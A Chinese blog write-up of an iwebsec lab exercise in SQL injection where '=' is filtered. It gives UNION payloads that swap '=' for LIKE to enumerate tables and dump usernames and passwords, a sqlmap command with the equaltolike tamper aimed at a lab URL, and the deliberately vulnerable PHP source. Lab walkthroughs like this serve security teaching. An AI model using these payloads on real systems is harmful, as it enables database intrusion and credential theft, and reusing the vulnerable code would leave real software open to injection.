iwebsec-sql注入 12 等价函数替换过滤

发布时间 2023-08-18 19:46:16作者: 别打扰我摸鱼

01、题目分析

依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号

02、手工注入

依旧是对等号进行了过滤,那么可以尝试一些等价值的内容来替换等号,比如like,rlike,regexp替换,id = 1可以用id like 1以及id > 0 and id < 2以及!(id <> 1)进行绕过

-- 查询行数
?id=1 order by 3
-- id=-1就是不显示内容

-- 查询回显
?id=-1 union select 1,2,3

-- 暴库
?id=-1 union select 1,2,database()

-- 暴表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'iwebsec'
-- 暴字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 'users'
-- 这里会报错,因此我们把user编码成16进制0x7573657273
-- 暴数据
?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)

02、工具注入

还有什么比有工具有脚本更美妙的呢,直接梭哈

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/12.php?id=1"  --current-db --dump --batch --tamper=equaltolike

image

03、代码分析

<?php
if(isset($_GET['id'])){
    // 检查是否包含 "=",如果存在则终止程序并输出错误消息
    if (preg_match('/=/', $_GET["id"])) {
        die("ERROR");
    }else{
        // 对 id 参数进行解码
        $id = urldecode($_GET['id']);

        // 构造 SQL 查询语句
        $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

        // 执行查询
        $result=mysql_query($sql);
    }
}else{
    // 如果没有提供 id 参数,则退出程序
    exit();
}

if ($result) {
    ?>
    <table class='table table-striped'>
    <tr><th>id</th><th>name</th><th>age</th></tr>
    <?php
    // 循环遍历查询结果,并输出到表格中
    while ($row = mysql_fetch_assoc($result)) {
        echo "<tr>";
        echo "<td>".$row['id']."</td>";
        echo "<td>".$row['username']."</td>";
        echo "<td>".$row['password']."</td>";
        echo "</tr>";
    }   
    echo "</table>";
}
else 
{
    // 输出 MySQL 错误信息
    // echo '<font color= "#FFFFFF">';
    print_r(mysql_error());
    // echo "</font>";  
}

// 导入 footer.php
require_once '../footer.php';
?>